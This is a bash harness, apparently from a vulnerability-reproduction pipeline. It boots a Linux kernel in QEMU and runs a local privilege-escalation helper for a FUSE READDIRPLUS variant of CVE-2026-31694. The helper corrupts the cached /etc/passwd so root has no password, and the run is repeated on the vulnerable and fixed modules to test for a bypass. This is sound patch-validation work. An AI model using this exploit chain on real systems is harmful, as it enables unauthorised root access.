#!/bin/bash
set -euo pipefail

# CVE-2026-31694 variant probe: FUSE_READDIRPLUS reaches the same
# fuse_add_dirent_to_cache() oversized-dirent sink as ordinary FUSE_READDIR.
#
# This script boots the already-built non-KASAN Linux kernel in QEMU, mounts a
# real FUSE filesystem, forces the daemon/kernel negotiation to use
# FUSE_READDIRPLUS, and sends a direntplus record whose embedded dirent has
# namelen=4095.  It tests vulnerable and fixed fuse.ko side by side.
#
# Exit 0 = variant reproduced on the fixed version (true bypass).
# Exit 1 = no bypass: variant only works on the vulnerable module, or no variant.
# Exit 2 = infrastructure failure.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"
cd "$ROOT"

LOGFILE="$LOGS/readdirplus_variant.log"
: > "$LOGFILE"
LOG() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGFILE" >&2; }

SCRIPT_STATUS=2
VULN_OK=0
FIXED_BYPASS_OK=0
FIXED_BLOCK_OK=0
TESTED_KERNEL_VERSION="unknown"
SOURCE_VERSION="unknown"

write_runtime_manifest() {
  local notes="${1:-updated by variant reproduction_steps.sh}"
  python3 - "$VARIANT_DIR/runtime_manifest.json" "$VULN_OK" "$FIXED_BYPASS_OK" "$FIXED_BLOCK_OK" "$TESTED_KERNEL_VERSION" "$SOURCE_VERSION" "$notes" <<'PY'
import json, sys
out, vuln, fixed_bypass, fixed_block, kver, srcver, notes = sys.argv[1:]
manifest = {
  "entrypoint_kind": "local_kernel_runtime",
  "entrypoint_detail": "QEMU-booted Linux FUSE READDIRPLUS path; malicious FUSE daemon advertises FUSE_DO_READDIRPLUS and returns a direntplus with embedded dirent namelen=4095",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": int(vuln) > 0 or int(fixed_bypass) > 0 or int(fixed_block) > 0,
  "runtime_stack": ["qemu-system-x86_64", "linux-kernel-non-KASAN", "fuse.ko", "ext4-rootfs", "busybox-init", "malicious-FUSE-READDIRPLUS-daemon"],
  "tested_kernel_version": kver,
  "source_version": srcver,
  "proof_artifacts": [
    "logs/vuln_variant/readdirplus_variant.log",
    "logs/vuln_variant/qemu_readdirplus_vuln.log",
    "logs/vuln_variant/qemu_readdirplus_fixed.log",
    "vuln_variant/fuse_readdirplus_lpe.c",
    "vuln_variant/fuse_readdirplus_lpe",
    "vuln_variant/fuse-readdirplus-vuln.ko",
    "vuln_variant/fuse-readdirplus-fixed.ko"
  ],
  "notes": notes
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
PY
}

finish() {
  local rc=$?
  if [ "$SCRIPT_STATUS" -eq 0 ]; then
    write_runtime_manifest "Confirmed bypass: fixed module also allowed READDIRPLUS oversized-dirent page-cache corruption."
  elif [ "$SCRIPT_STATUS" -eq 1 ]; then
    write_runtime_manifest "No bypass: READDIRPLUS variant reproduced on vulnerable module but fixed module rejected the oversized embedded dirent and left /etc/passwd unchanged."
  else
    write_runtime_manifest "Infrastructure failure or incomplete variant evidence."
  fi
  exit "$rc"
}
trap finish EXIT
write_runtime_manifest "Run started; final status will be written before exit."

need_install=()
for cmd in qemu-system-x86_64 gcc jq debugfs timeout; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    case "$cmd" in
      qemu-system-x86_64) need_install+=(qemu-system-x86) ;;
      debugfs) need_install+=(e2fsprogs) ;;
      timeout) need_install+=(coreutils) ;;
      *) need_install+=("$cmd") ;;
    esac
  fi
done
for pkg in busybox-static cpio; do
  dpkg -s "$pkg" >/dev/null 2>&1 || need_install+=("$pkg")
done
if [ "${#need_install[@]}" -gt 0 ]; then
  LOG "Installing dependencies: ${need_install[*]}"
  sudo apt-get update -q >>"$LOGFILE" 2>&1
  sudo apt-get install -y -q "${need_install[@]}" >>"$LOGFILE" 2>&1
fi
BUSYBOX_BIN="$(command -v busybox || true)"
[ -n "$BUSYBOX_BIN" ] || BUSYBOX_BIN="/usr/bin/busybox"

CACHE_DIR="$(jq -r 'select(.prepared==true) | .project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
  LOG "ERROR: prepared project cache not available; cannot locate kernel image."
  SCRIPT_STATUS=2
  exit 2
fi
LINUX_SRC="$CACHE_DIR/linux-src"
BUILD_DIR="$CACHE_DIR/linux-build-nokasan-fuse"
BZIMAGE="$BUILD_DIR/arch/x86/boot/bzImage"
if [ ! -f "$BZIMAGE" ]; then
  LOG "ERROR: kernel image not found at $BZIMAGE."
  SCRIPT_STATUS=2
  exit 2
fi
SOURCE_VERSION="$(awk '/^(VERSION|PATCHLEVEL|SUBLEVEL|EXTRAVERSION) =/{printf "%s%s", sep $3, ""; sep="."}' "$LINUX_SRC/Makefile" 2>/dev/null || echo unknown)"
LOG "Using kernel image: $BZIMAGE"
LOG "Using Linux source tree: $LINUX_SRC"
LOG "Source version components: $SOURCE_VERSION"

# Keep this stage's module copies under vuln_variant.  The modules were built
# by the previous stage from the same source/config; this script only reads them
# as immutable inputs and performs fresh runtime proof with a different daemon.
if [ ! -f "$VARIANT_DIR/fuse-readdirplus-vuln.ko" ]; then
  cp "$ROOT/repro/fuse-nokasan-vuln.ko" "$VARIANT_DIR/fuse-readdirplus-vuln.ko"
fi
if [ ! -f "$VARIANT_DIR/fuse-readdirplus-fixed.ko" ]; then
  cp "$ROOT/repro/fuse-nokasan-fixed.ko" "$VARIANT_DIR/fuse-readdirplus-fixed.ko"
fi
if [ ! -f "$VARIANT_DIR/fuse-readdirplus-vuln.ko" ] || [ ! -f "$VARIANT_DIR/fuse-readdirplus-fixed.ko" ]; then
  LOG "ERROR: vulnerable/fixed FUSE modules not available."
  SCRIPT_STATUS=2
  exit 2
fi

if [ ! -f "$VARIANT_DIR/fuse_readdirplus_lpe.c" ]; then
  LOG "ERROR: missing $VARIANT_DIR/fuse_readdirplus_lpe.c"
  SCRIPT_STATUS=2
  exit 2
fi
LOG "Building READDIRPLUS variant helper"
gcc -static -O2 -pthread -w -o "$VARIANT_DIR/fuse_readdirplus_lpe" "$VARIANT_DIR/fuse_readdirplus_lpe.c" >>"$LOGFILE" 2>&1

create_rootfs() {
  local img="$1"
  rm -f "$img" "$VARIANT_DIR/passwd.seed" "$VARIANT_DIR/init.readdirplus"
  dd if=/dev/zero of="$img" bs=1M count=32 status=none
  mkfs.ext4 -F -q "$img"
  printf 'root:x:0:0:root:/root:/bin/sh\nuser:x:1000:1000:user:/home/user:/bin/sh\n' > "$VARIANT_DIR/passwd.seed"
  cat > "$VARIANT_DIR/init.readdirplus" <<'INITROOT'
#!/bin/busybox sh
BB=/bin/busybox
$BB mount -t proc proc /proc
$BB mount -t sysfs sysfs /sys
$BB mount -t devtmpfs devtmpfs /dev
$BB mount -t tmpfs tmpfs /tmp
ROLE="vuln"
for arg in $($BB cat /proc/cmdline); do
  case "$arg" in proof_role=*) ROLE="${arg#proof_role=}";; esac
done
if [ "$ROLE" = "fixed" ]; then
  $BB insmod /fuse-fixed.ko || true
else
  $BB insmod /fuse-vuln.ko || true
fi
echo VARIANT_ROLE=$ROLE
echo VARIANT_KERNEL=$($BB uname -r)
echo VARIANT_BEFORE=$($BB head -1 /etc/passwd)
/fuse_readdirplus_lpe --target /etc/passwd
rc=$?
echo VARIANT_EXPLOIT_RC=$rc
echo VARIANT_AFTER=$($BB head -1 /etc/passwd)
if [ "$ROLE" = "vuln" ] && [ $rc -eq 0 ]; then
  echo VARIANT_RESULT_READDIRPLUS_LPE_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -eq 0 ]; then
  echo VARIANT_RESULT_FIXED_BYPASS_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -ne 0 ]; then
  echo VARIANT_RESULT_FIXED_REJECTED_READDIRPLUS_OVERSIZED_DIRENT
else
  echo VARIANT_RESULT_NOT_CONFIRMED
fi
$BB sync
$BB poweroff -f
INITROOT
  {
    for d in bin dev proc sys tmp etc; do echo "mkdir /$d"; done
    echo "write $BUSYBOX_BIN /bin/busybox"; echo 'sif /bin/busybox mode 0100755'
    echo "write $VARIANT_DIR/init.readdirplus /init"; echo 'sif /init mode 0100755'
    echo "write $VARIANT_DIR/fuse_readdirplus_lpe /fuse_readdirplus_lpe"; echo 'sif /fuse_readdirplus_lpe mode 0100755'
    echo "write $VARIANT_DIR/fuse-readdirplus-vuln.ko /fuse-vuln.ko"; echo 'sif /fuse-vuln.ko mode 0100644'
    echo "write $VARIANT_DIR/fuse-readdirplus-fixed.ko /fuse-fixed.ko"; echo 'sif /fuse-fixed.ko mode 0100644'
    echo "write $VARIANT_DIR/passwd.seed /etc/passwd"; echo 'sif /etc/passwd mode 0100444'; echo 'sif /etc/passwd uid 0'; echo 'sif /etc/passwd gid 0'
  } | debugfs -w "$img" >>"$LOGFILE" 2>&1
}

run_qemu_attempt() {
  local role="$1"
  local img="$VARIANT_DIR/rootfs-readdirplus-${role}.img"
  local qlog="$LOGS/qemu_readdirplus_${role}.log"
  LOG "Creating active ext4 rootfs for READDIRPLUS $role attempt"
  create_rootfs "$img"
  LOG "Booting READDIRPLUS $role attempt through QEMU"
  timeout -k 5 240 qemu-system-x86_64 \
    -kernel "$BZIMAGE" \
    -append "console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=$role" \
    -drive "file=$img,format=raw,if=virtio" \
    -m 768 -smp 1 -nographic -no-reboot \
    > "$qlog" 2>&1 || true
  TESTED_KERNEL_VERSION="$(grep -m1 'VARIANT_KERNEL=' "$qlog" | sed 's/.*VARIANT_KERNEL=//' || true)"
  [ -n "$TESTED_KERNEL_VERSION" ] || TESTED_KERNEL_VERSION="unknown"
  grep -E 'VARIANT_|READDIRPLUS|PAGE_CACHE|CORRUPTED|Direct write|Running exploit|Warmup|HIT|No warmup|unexpected FUSE_READDIR|VFS: Mounted root' "$qlog" | tail -120 | tee -a "$LOGFILE" >&2 || true
}

run_qemu_attempt vuln
if grep -q 'VARIANT_RESULT_READDIRPLUS_LPE_CONFIRMED' "$LOGS/qemu_readdirplus_vuln.log" && \
   grep -q 'received FUSE_READDIRPLUS' "$LOGS/qemu_readdirplus_vuln.log" && \
   grep -q 'PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd' "$LOGS/qemu_readdirplus_vuln.log" && \
   grep -q 'VARIANT_AFTER=root::0:0:x' "$LOGS/qemu_readdirplus_vuln.log"; then
  LOG "VULNERABLE READDIRPLUS attempt: unprivileged page-cache corruption of /etc/passwd confirmed"
  VULN_OK=1
else
  LOG "VULNERABLE READDIRPLUS attempt: expected variant evidence missing"
fi

run_qemu_attempt fixed
if grep -q 'VARIANT_RESULT_FIXED_BYPASS_CONFIRMED' "$LOGS/qemu_readdirplus_fixed.log" && \
   grep -q 'PAGE_CACHE_CORRUPTION_CONFIRMED' "$LOGS/qemu_readdirplus_fixed.log"; then
  LOG "FIXED READDIRPLUS attempt: BYPASS confirmed; fixed module still corrupts /etc/passwd"
  FIXED_BYPASS_OK=1
elif grep -q 'VARIANT_RESULT_FIXED_REJECTED_READDIRPLUS_OVERSIZED_DIRENT' "$LOGS/qemu_readdirplus_fixed.log" && \
     grep -q 'VARIANT_AFTER=root:x:0:0:root:/root:/bin/sh' "$LOGS/qemu_readdirplus_fixed.log" && \
     ! grep -q 'PAGE_CACHE_CORRUPTION_CONFIRMED' "$LOGS/qemu_readdirplus_fixed.log"; then
  LOG "FIXED READDIRPLUS attempt: oversized embedded dirent failed closed; /etc/passwd unchanged"
  FIXED_BLOCK_OK=1
else
  LOG "FIXED READDIRPLUS attempt: negative-control evidence missing or inconclusive"
fi

LOG "READDIRPLUS vulnerable variant success: $VULN_OK/1"
LOG "READDIRPLUS fixed bypass success: $FIXED_BYPASS_OK/1"
LOG "READDIRPLUS fixed blocking success: $FIXED_BLOCK_OK/1"

if [ "$VULN_OK" -eq 1 ] && [ "$FIXED_BYPASS_OK" -eq 1 ]; then
  SCRIPT_STATUS=0
elif [ "$VULN_OK" -eq 1 ] && [ "$FIXED_BLOCK_OK" -eq 1 ]; then
  SCRIPT_STATUS=1
else
  SCRIPT_STATUS=1
fi

if [ "$SCRIPT_STATUS" -eq 0 ]; then
  LOG "BYPASS CONFIRMED: READDIRPLUS variant reproduces on the fixed module."
  exit 0
elif [ "$VULN_OK" -eq 1 ] && [ "$FIXED_BLOCK_OK" -eq 1 ]; then
  LOG "NO BYPASS: READDIRPLUS is a real alternate parser path on the vulnerable module, but the fixed module's sink guard blocks it."
  exit 1
else
  LOG "NO CONFIRMED VARIANT: required vulnerable/fixed READDIRPLUS evidence was not collected."
  exit 1
fi
